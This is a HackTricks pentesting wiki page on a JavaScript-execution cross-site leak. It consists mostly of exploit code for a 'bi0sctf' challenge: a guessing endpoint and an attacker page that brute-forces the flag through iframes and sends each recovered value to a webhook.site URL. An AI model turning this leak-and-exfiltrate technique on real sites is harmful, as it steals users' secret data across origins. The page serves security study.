hacktricks/pentesting-web/xs-search/javascript-execution-xs-leak.md
Carlos Polop ad95e60ba5 b
2024-07-19 16:12:09 +02:00

98 lines
4.3 KiB
Markdown

# JavaScript Execution XS Leak
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
```javascript
// Code that will try ${guess} as flag (need rest of the server code
app.get('/guessing', function(req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
});
```
Main page that generates iframes to the previous `/guessing` page to test each possibility
```html
<html>
<head>
<script>
let candidateIsGood = false;
let candidate = ''
let flag = 'bi0sctf{'
let guessIndex = -1
let flagChars = '_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ'
// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}
timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch('https://webhook.site/<yours-goes-here>?flag='+flag)
}
//Start with true and will be change to false if wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch('https://webhook.site/<yours-goes-here>')
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>`
console.log('iframe: ', iframe)
hack.innerHTML = iframe
}
, 500);
</script>
</head>
<p>hello</p>
<div id="hack">
</div>
</html>
```
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}